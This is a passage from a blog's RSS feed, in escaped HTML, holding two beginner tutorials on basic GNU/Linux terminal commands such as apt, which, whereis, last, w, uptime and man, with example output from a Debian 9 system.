class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt list --upgradable&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Listando... Hecho&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apache2/oldstable 2.4.25-3+deb9u10 amd64 &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;actualizable desde: 2.4.25-3+deb9u9&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apache2-bin/oldstable 2.4.25-3+deb9u10 amd64 &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;actualizable desde: 2.4.25-3+deb9u9&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apache2-data/oldstable,oldstable 2.4.25-3+deb9u10 all &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;actualizable desde: 2.4.25-3+deb9u9&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apache2-doc/oldstable,oldstable 2.4.25-3+deb9u10 all &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;actualizable desde: 2.4.25-3+deb9u9&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-upgrade&#34;&gt;apt upgrade&lt;/h2&gt;&#xA;&lt;p&gt;Once we know which packages we can upgrade, we can upgrade them with the apt upgrade command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt upgrade&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-source&#34;&gt;apt source&lt;/h2&gt;&#xA;&lt;p&gt;Download the source code of a specific binary, for that the source code repositories must be enabled, &lt;em&gt;deb-src&lt;/em&gt; in debian.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt &lt;span style=&#34;color:#ff5c57&#34;&gt;source&lt;/span&gt; &amp;lt;program&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;apt-build-dep&#34;&gt;apt build-dep&lt;/h2&gt;&#xA;&lt;p&gt;Install all the required dev dependencies for a binary&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt build-dep &amp;lt;program&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;exit&#34;&gt;exit&lt;/h2&gt;&#xA;&lt;p&gt;exit, executed in super user mode, returns the prompt to normal and terminates our super user privileges.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we run &lt;em&gt;exit&lt;/em&gt; again, this time in our system user, the terminal will close.&lt;/p&gt;&#xA;&lt;h2 id=&#34;whereis&#34;&gt;whereis&lt;/h2&gt;&#xA;&lt;p&gt;The command shows us where the binaries, source code and manuals of the command we request are located.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;whereis node&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;node: /home/usuario/.nvm/versions/node/v11.9.0/bin/node&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;which&#34;&gt;which&lt;/h2&gt;&#xA;&lt;p&gt;Similar to the previous one, but with a difference: this one shows us where the command would be executed in the &lt;strong&gt;current environment&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know what a virtual environment is, I invite you to read my post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/&#34;&gt;what are virtual environments in Python&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, if we are not using virtual environments it will show the same result as the previous one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;which python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;usr/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Activating a virtual environment will change the location of the command in the virtual environment.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;source&lt;/span&gt; virtual/bin/activate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;which python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# let&amp;#39;s activate a virtual environment&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/usuario/proyecto/entorno_virtual/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;uptime&#34;&gt;uptime&lt;/h2&gt;&#xA;&lt;p&gt;The uptime command tells us the current time, how long the operating system has been running, how many users are connected and the average load of the system one minute ago, 5 minutes ago and 15 minutes ago.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uptime 14:15:10 up 6:08, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user, load average: 0.87, 0.87, 0.93&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;last&#34;&gt;last&lt;/h2&gt;&#xA;&lt;p&gt;This command is in charge of showing the last logins in the system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;last&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; usuario tty2         :0 Mon Apr &lt;span style=&#34;color:#ff9f43&#34;&gt;29&lt;/span&gt; 12:24 still logged in&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; reboot system boot 4.9.0-12-amd64 Mon Apr &lt;span style=&#34;color:#ff9f43&#34;&gt;29&lt;/span&gt; 07:22 still running&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; usuario tty2         :0 Sun Apr &lt;span style=&#34;color:#ff9f43&#34;&gt;29&lt;/span&gt; 11:27 - down   &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;13:33&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; reboot system boot 4.9.0-12-amd64 Sun Apr &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt; 06:26 - 01:01  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;18:34&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; usuario tty2         :0 Sat Apr &lt;span style=&#34;color:#ff9f43&#34;&gt;27&lt;/span&gt; 22:42 - down   &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;02:07&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;w&#34;&gt;w&lt;/h2&gt;&#xA;&lt;p&gt;This one-letter command shows the users currently logged into the system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;w&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 13:48:46 up 1:25, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user, load average: 0.73, 0.83, 1.09&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; USER TTY FROM LOGIN@   IDLE JCPU PCPU WHAT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; usuario tty2     :0 12:24 1:25m 1:20m 7.69s /opt/firefox/firefox-bin -contentproc -childID &lt;span style=&#34;color:#ff9f43&#34;&gt;23&lt;/span&gt; -isForBrowser -prefsLen &lt;span style=&#34;color:#ff9f43&#34;&gt;9788&lt;/span&gt; -prefMapSize &lt;span style=&#34;color:#ff9f43&#34;&gt;224870&lt;/span&gt; -parentBuildID &lt;span style=&#34;color:#ff9f43&#34;&gt;20200708170&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;last-reboot&#34;&gt;last reboot&lt;/h2&gt;&#xA;&lt;p&gt;Last reboot shows us the reboot history of our system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;last reboot&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; reboot system boot 4.9.0-12-amd64 Sat Apr &lt;span style=&#34;color:#ff9f43&#34;&gt;27&lt;/span&gt; 07:22 still running&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; reboot system boot 4.9.0-12-amd64 Fri Apr &lt;span style=&#34;color:#ff9f43&#34;&gt;26&lt;/span&gt; 06:26 - 01:01  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;18:34&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;bonus-command-neofetch&#34;&gt;Bonus command: neofetch&lt;/h2&gt;&#xA;&lt;p&gt;Now that you know how to install packages I am going to show you a package that displays system information but in a very visual way, the name of the package is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/dylanaraps/neofetch&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;neofetch&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install neofetch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now run neofetch with super user privileges and see for yourself what is printed in the terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo neofetch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;more-basic-linux-terminal-commands&#34;&gt;More basic linux terminal commands&lt;/h2&gt;&#xA;&lt;p&gt;Another entry and many more commands reviewed, some commands are missing to cover only a small part, take your time, there is no hurry, get up from your chair and go get some water or coffee. The third part is the last one and I include more commands, some of them a little bit more complicated. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;In the third part I will tell you about commands like wget, systemctl, curl, printenv, mkfs, kill, top and others&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This is the second part of the list of basic GNU/Linux terminal commands. If you want to see the commands from the previous post please &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;enter the first part here&lt;/a&gt;&#xA;. I also have a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/&#34;&gt;third part of GNU/Linux commands available&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;For this entry I&amp;rsquo;m assuming you&amp;rsquo;re using a Debian-based distribution, since I&amp;rsquo;m using apt instead of rpm.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the uname command, to put ourselves in the context of the operating system we are working with.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Linux Basic Commands: grep ls cd cat cp rm scp</title>
      <link>https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/</link>
      <pubDate>Wed, 08 May 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;There are many basic linux commands, from those that tell you which is your user, to others that allow you to run and schedule services periodically. Below I will list the commands that I use frequently, as well as any combination or peculiar feature of any of these that is worth mentioning. I will try to do it in the simplest possible way and without trying to complicate too much the use of the commands.&lt;/p&gt;&#xA;&lt;p&gt;For these examples I use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.debian.org/index.es.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Debian 9&lt;/a&gt;&#xA;, so if some command does not appear, please note that it may be due to differences with your GNU/Linux distribution.&lt;/p&gt;&#xA;&lt;p&gt;Another thing, what most people know as Linux, plain Linux, is actually GNU/Linux, however for SEO and simplicity reasons many people use GNU/Linux or Linux interchangeably, which I intend to do as well. But keep this in mind when you read this or other entries.&lt;/p&gt;&#xA;&lt;p&gt;Click here for &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;the second part of this series of commands&lt;/a&gt;&#xA; and here for &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/&#34;&gt;the third part of this series&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;little-tips-from-the-linux-terminal&#34;&gt;Little tips from the Linux Terminal&lt;/h2&gt;&#xA;&lt;h3 id=&#34;use-tab-to-complete-commands&#34;&gt;Use tab to complete commands&lt;/h3&gt;&#xA;&lt;p&gt;Before starting with the commands I want to mention a couple of small tips or functionalities. The GNU/Linux terminal is user friendly, just type the first letters of a command, file or folder found in the current folder and then press the TAB key and the system will automatically complete the command, file or folder name.&lt;/p&gt;&#xA;&lt;p&gt;If there is a conflict, just press the TAB key twice and it will show the available options. A perfect function for lazy people who don&amp;rsquo;t like to type unnecessarily.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/images/tabular.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/images/tabular.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;autocomplete function of the tabular command in a GNU/Linux terminal&#34; width=&#34;802&#34; height=&#34;97&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;press-up-to-access-previously-executed-commands&#34;&gt;Press up to access previously executed commands.&lt;/h3&gt;&#xA;&lt;p&gt;While we are in the terminal, if we press the up key of our GNU/Linux pad it will show us the last command we executed. An ideal function for those moments when we repeat the same command over and over again, hoping that, magically, the result will change.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/images/up.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/images/up.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Function of accessing previous commands of a GNU/Linux terminal using the up key&#34; width=&#34;802&#34; height=&#34;97&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;use-ctrl--c-to-cancel-interrupting-terminal-processes&#34;&gt;Use CTRL + C to cancel interrupting terminal processes.&lt;/h3&gt;&#xA;&lt;p&gt;If we did something stupid like executing an infinite loop, or we simply want to stop something we are executing, we will use CTRL + C, yes, as if you were going to do a copy paste, but with the terminal open. This will cancel the execution of the command.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/images/ctrl_c.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/images/ctrl_c.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Canceling code execution with CTRL &amp;#43; C&#34; width=&#34;802&#34; height=&#34;455&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Having explained this, let&amp;rsquo;s start with the commands.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;man&#34;&gt;man&lt;/h2&gt;&#xA;&lt;p&gt;The man command (MANual) is what I consider &lt;strong&gt;the most important of all the common commands&lt;/strong&gt;, that&amp;rsquo;s why I put it here first. The reason? because this command shows the user manual of the command you put in front of it. With this command you have access to all the documentation of the command you choose. And, consequently, you can learn the basic use of practically any command that has a manual.&lt;/p&gt;&#xA;&lt;p&gt;Remember that most of the commands listed in this publication have a manual, so you can see all the options they offer using this command.&lt;/p&gt;&#xA;&lt;p&gt;For now try using it on itself. Yes, we will inception the man command:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;man man&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; it show us the manual of man &lt;span style=&#34;color:#ff5c57&#34;&gt;command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;man grep&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; it show us the manual of grep &lt;span style=&#34;color:#ff5c57&#34;&gt;command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;whatis&#34;&gt;whatis&lt;/h2&gt;&#xA;&lt;p&gt;It shows us a small description of the command that we put next. It is the &lt;strong&gt;super summarized&lt;/strong&gt; version of man.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 